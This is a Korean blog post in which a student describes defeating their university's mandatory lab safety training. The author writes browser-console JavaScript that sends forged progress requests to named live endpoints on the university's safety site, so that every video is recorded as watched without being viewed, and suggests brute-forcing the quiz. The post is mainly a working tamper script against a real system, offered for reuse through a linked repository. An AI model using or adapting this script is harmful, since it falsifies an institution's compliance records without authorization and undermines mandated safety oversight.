우리 학교는 기말고사 성적 확인을 하기 위해서는 연구실 안전교육이라는 것을 의무적으로 이수하여야 한다. 하지만 내 과는 컴퓨터공학부라 연구실에서 연구라는 걸 해본 적이 없는데 단과대가 공과대학이라는 이유만으로 일률적으로 이수를 강요하고 있다. 에브리타임에 옛날 옛적 누군가 만들어놓은 스킵코드가 존재하기는 하지만 이런 건 직접 해봐야 직성이 풀리지 않겠는가.
연구실 안전교육을 이수하는데 한 사람당 소요되는 시간이 어림잡아 2시간이라고 하고, 2025년 최저시급 10,030원으로 생각해보면, 우리 학과 학생 전체 약 1000명이 이걸 듣는데 낭비되는 금액은 얼추 20,060,000원 손해다.
컴공답게 앉아서 2천만원을 벌어보자.
우선 연구실 안전교육 홈페이지에 들어가서 영상을 재생시켜본다.
영상은 크게 두 종류가 있는데 https://safety.konkuk.ac.kr/ushm/edu/contentsViewPopAvi.do?scheduleMemberProgressNo=828953
와 같이 파라미터에 단순히 영상 번호가 적혀져 있는 영상과
https://safety.konkuk.ac.kr/resources/contents/IMGT2024/1/02.html?passedPage=1&checkurl=2&smProgressNo=828954&smMemberNo=948504
이렇게 의문의 파라미터값들이 존재하는 영상이 있다.
개발자 도구로 확인해보면, 이 유형의 영상은 일정 주기마다 스크립트를 통해 서버에게 현재 진행 상태를 전송한다.
페이로드는 다음과 같은데 이 중 currentTime
이나 isEnd
값을 적절히 조작하면 exploit 할 수 있을 것 같다.
우선 헤더를 확인해 Request URL 정보를 확인한다.
우선 코드를 다음과 같이 작성해본다.
const response = await fetch(
"https://safety.konkuk.ac.kr/ushm/edu/contentsViewAviProcessCheckSub",
{
method: "POST",
body: new URLSearchParams({
scheduleMemberProgressNo: "828953",
currentTime: "23",
isEnd: "true",
isMobile: "false",
}),
},
);
console.log(response);
이렇게만 요청을 보내도 서버로부터 statusText: "OK"
라는 응답이 온다.
하지만 이때 scheduleMemberProgressNo
라는 값을 각 영상에 맞게 적절히 추출해야되기에, query parameter의 정보를 동적으로 추출할 수 있는 코드를 추가한다.
const params = new URLSearchParams(window.location.search);
const scheduleMemberProgressNo = params.get("scheduleMemberProgressNo");
const response = await fetch(
"https://safety.konkuk.ac.kr/ushm/edu/contentsViewAviProcessCheckSub",
{
method: "POST",
body: new URLSearchParams({
scheduleMemberProgressNo,
currentTime: "23",
isEnd: "true",
isMobile: "false",
}),
credentials: "include",
},
);
console.log(response);
이렇게 파라미터에 영상 번호만 존재하는 경우의 exploit을 성공했다. 그런데 이상하게도 해당 영상의 콘솔에서 스크립트를 입력해도, 새로고침해 수강여부를 확인하면 즉시 반영되지 않고 5초 정도의 지연이 발생한다.
이 분류의 영상은 하나밖에 없지만 필수로 분류되기 때문에 반드시 수강하여야 한다. 어떻게 exploit 할지 찾아보자.
우선 URL은 다음과 같았다. https://safety.konkuk.ac.kr/resources/contents/IMGT2024/1/02.html?passedPage=1&checkurl=2&smProgressNo=828954&smMemberNo=948504
여기서 눈여겨본 파라미터는 passedPage
와 checkurl
이다. checkurl
값은 1페이지에서 2페이지로 넘어갈 때 1에서 2로 변경됐고, passedPage
값이 업데이트됐다.
총 영상의 개수가 11개이므로 우선 간단하게 passedPage = 10
, checkurl = 11
로 값을 변경해보자 https://safety.konkuk.ac.kr/resources/contents/IMGT2024/1/02.html?passedPage=10&checkurl=11&smProgressNo=828954&smMemberNo=948504
checkurl
의 값이 11임에도 여전히 2번째 영상에 머물러 있다. 현재 어떤 영상을 보고 있는지 저장하는 값은 아닌것 같다.
하지만 이전에는 클릭이 되지 않았던 퀴즈 메뉴가 클릭이 된다.
따라서 이번에는 passedPage = 11
로 다시 수정하니 아웃트로 페이지까지 접근이 가능했다. 하지만 수강이 종료됐다는 메시지는 나오지만 internal server error가 발생하며 수강이 기록되지는 않았다.
이렇게 서버 에러 로직이 클라이언트에게 직접 전달되는 거 정말 안 좋다고 생각합니다..
오류가 발생했다면 서버쪽으로 전송하는 정보가 있을 것이라고 판단해 처음 두 개의 영상이 종료됐을 때 어떤 페이로드들이 주고받아지는지 확인해봤다.
// 첫 번쨰 영상
scheduleMemberProgressNo=828954&watchedpage=1&gapTime=8
// 두 번째 영상
scheduleMemberProgressNo=828954&watchedpage=2&gapTime=57
이를 통한 분석은 다음과 같다.
watchedpage
의 값을 포함한 정보를 전달한다.gapTime
은 영상의 총 길이와 동일하다.scheduleMemberProgressNo
의 값은 변경되지 않는다.
js 코드에 다음과 같이 총 페이지 수를 불러오는 로직이 었었는데 따라서 다음과 같이 코드를 작성했다.
이전과 동일하게 파라미터값을 가져오고, totalPage
의 값을 가지고 있는 요소를 찾아 해당 요소의 값을 가져온다.
const params = new URLSearchParams(window.location.search);
const scheduleMemberProgressNo = params.get("smProgressNo");
const totalPageElement = document.querySelector(".total_page");
const totalPage = +(totalPageElement?.innerHTML) // js string2int 변환 방법
for (let i = 1; i <= totalPage; ++i) {
const response = await fetch(
"https://safety.konkuk.ac.kr/ushm/edu/SetImgtechContents2019AfterVersionProcessUpdate",
{
method: "POST",
body: new URLSearchParams({
scheduleMemberProgressNo,
watchedpage: i,
gapTime: 3600, // mp4 영상의 시간인데 1시간짜린 없으니까 임의로 지정한 값.
}),
},
);
}
그런데 웬걸, params
라는 이름의 변수가 이미 선언됐다는 오류가 출력됐다.
코드에서 확인해보니 var
로 미리 선언해놓으신 상황. 레거시 코드의 냄새가 나는 파라미터 파싱 방법이다.
따라서 변수명을 다음과 같이 수정해줬다.
const _params = new URLSearchParams(window.location.search);
const scheduleMemberProgressNo = _params.get("smProgressNo");
...
그리고 콘솔에서 실행해봤다.
빗발치는 요청과
"isSuccess": true
이로써 최종 복병이었던 안전보건법령의 이해또한 무사히 exploit 할 수 있었다. 👍
최종적으로 연구실 안전교육을 이수하려면 다음과 같은 문제를 풀어야한다.
중학교 도덕시간의 감성으로 풀었더니 통과기준인 60점이 나왔다. 응시에 제한이 있는 건 아니기 때문에 모든 사람들이 brute force하면 될 것 같다.
여담으로 문제를 분석해봤는데 페이로드에 답과 문항 정보 그리고 점수가 있는 점과 이게 유일한 HTTP 요청이었던 걸로 봐서는 클라이언트에 답안이 존재하는 것 같다.
하지만 한 번 시험에 합격한 뒤에는 문제에 대한 정보를 볼 수가 없어서 해당 부분은 자동화에 실패했다.
종강도 했겠다 심심하던 차에, 콘텐츠 제공을 해준 우리 학교 연구실안전관리 시스템에게 감사를 표한다.
실험 가운을 아무도 사지 않는 과에게 연구실안전관리시스템 이수를 성적을 빌미로 강요하는 학교가 탐탁치는 않지만...
더 나아가서 비개발자분들이 사용하기 편하도록 URI에 따라 다른 함수가 실행되도록 해도 될 것 같지만 다른 멋진 분이 해주시리라 믿고 이만 마친다. 레포에 대한 링크는 여기에!
훌륭하십니다